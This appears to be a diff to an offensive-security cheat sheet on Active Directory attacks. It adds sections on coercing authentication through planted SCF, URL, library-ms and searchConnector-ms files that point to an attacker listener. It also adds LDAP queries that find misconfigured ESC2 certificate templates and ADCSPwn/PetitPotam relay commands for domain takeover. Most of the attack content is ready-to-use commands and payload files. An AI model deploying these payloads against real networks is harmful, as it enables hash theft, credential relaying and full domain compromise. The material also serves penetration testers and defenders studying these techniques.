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ESC2 + Windows Search Connectors - Windows Library Files
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@ -16,6 +16,10 @@
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- [PrintNightmare](#printnightmare)
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- [Open Shares](#open-shares)
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- [SCF and URL file attack against writeable share](#scf-and-url-file-attack-against-writeable-share)
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- [SCF Files](#scf-files)
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- [URL Files](#url-files)
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- [Windows Library Files](#windows-library-files)
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- [Windows Search Connectors Files](#windows-search-connectors-files)
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- [Passwords in SYSVOL & Group Policy Preferences](#passwords-in-sysvol-&-group-policy-preferences)
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- [Exploit Group Policy Objects GPO](#exploit-group-policy-objects-gpo)
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- [Find vulnerable GPO](#find-vulnerable-gpo)
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@ -65,6 +69,7 @@
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- [Relay delegation with mitm6](#relay-delegation-with-mitm6)
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- [Active Directory Certificate Services](#active-directory-certificate-services)
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- [ESC1 - Misconfigured Certificate Templates](#esc1---misconfigured-certificate-templates)
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- [ESC2 - Misconfigured Certificate Templates](#esc2---misconfigured-certificate-templates)
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- [ESC8 - AD CS Relay Attack](#esc8---ad-cs-relay-attack)
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- [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
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- [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces)
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@ -709,6 +714,22 @@ Requirements:
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### SCF and URL file attack against writeable share
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Theses attacks can be automated with [Farmer.exe](https://github.com/mdsecactivebreach/Farmer) and [Crop.exe](https://github.com/mdsecactivebreach/Farmer/tree/main/crop)
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```ps1
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# Farmer to receive auth
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farmer.exe <port> [seconds] [output]
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farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
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farmer.exe 8888 60 # one minute
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# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
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crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
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Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
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Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
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```
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#### SCF Files
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Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0`
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```powershell
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@ -719,6 +740,8 @@ IconFile=\\10.10.10.10\Share\test.ico
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Command=ToggleDesktop
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```
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#### URL Files
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This attack also works with `.url` files and `responder -I eth0 -v`.
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```powershell
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@ -729,6 +752,53 @@ IconFile=\\10.10.10.10\%USERNAME%.icon
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IconIndex=1
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```
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#### Windows Library Files
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> Windows Library Files (.library-ms)
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
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<name>@windows.storage.dll,-34582</name>
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<version>6</version>
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<isLibraryPinned>true</isLibraryPinned>
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<iconReference>imageres.dll,-1003</iconReference>
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<templateInfo>
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<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
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</templateInfo>
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<searchConnectorDescriptionList>
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<searchConnectorDescription>
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<isDefaultSaveLocation>true</isDefaultSaveLocation>
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<isSupported>false</isSupported>
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<simpleLocation>
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<url>\\\\workstation@8888\\folder</url>
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</simpleLocation>
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</searchConnectorDescription>
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</searchConnectorDescriptionList>
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</libraryDescription>
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```
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#### Windows Search Connectors Files
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> Windows Search Connectors (.searchConnector-ms)
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<searchConnectorDescription xmlns="<http://schemas.microsoft.com/windows/2009/searchConnector>">
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<iconReference>imageres.dll,-1002</iconReference>
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<description>Microsoft Outlook</description>
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<isSearchOnlyItem>false</isSearchOnlyItem>
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<includeInStartMenuScope>true</includeInStartMenuScope>
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<iconReference>\\\\workstation@8888\\folder.ico</iconReference>
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<templateInfo>
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<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
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</templateInfo>
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<simpleLocation>
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<url>\\\\workstation@8888\\folder</url>
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</simpleLocation>
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</searchConnectorDescription>
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```
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### Passwords in SYSVOL & Group Policy Preferences
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@ -1808,6 +1878,8 @@ Exploitation:
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* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
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```ps1
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Certify.exe find /vulnerable
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or
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PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
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```
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* Use Certify to request a Certificate and add an alternative name (user to impersonate)
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```ps1
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@ -1827,6 +1899,19 @@ Exploitation:
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**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.
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#### ESC2 - Misconfigured Certificate Templates
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Requirements:
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* Allows requesters to specify a SAN in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
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Exploitation:
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* Find template
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```ps1
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PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
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```
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* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).
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#### ESC8 - AD CS Relay Attack
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> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
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@ -1869,7 +1954,26 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
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# Mimikatz
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mimikatz> lsadump::dcsync /user:krbtgt
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```
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* Version 3: ADCSPwn
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```powershell
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https://github.com/bats3c/ADCSPwn
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adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
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adcspwn.exe --adcs cs.pwnlab.local
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adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
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adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
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adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
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# ADCSPwn arguments
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adcs - This is the address of the AD CS server which authentication will be relayed to.
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secure - Use HTTPS with the certificate service.
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port - The port ADCSPwn will listen on.
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remote - Remote machine to trigger authentication from.
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username - Username for non-domain context.
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password - Password for non-domain context.
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dc - Domain controller to query for Certificate Templates (LDAP).
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unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
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output - Output path to store base64 generated crt.
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```
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### Dangerous Built-in Groups Usage
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@ -2915,3 +3019,4 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
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* [NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/)
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* [Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Certified-Pre-Owned-Abusing-Active-Directory-Certificate-Services.pdf)
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* [Certified Pre-Owned - Will Schroeder - Jun 17 2021](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
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* [AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps by frank | Jul 23, 2021](https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/)
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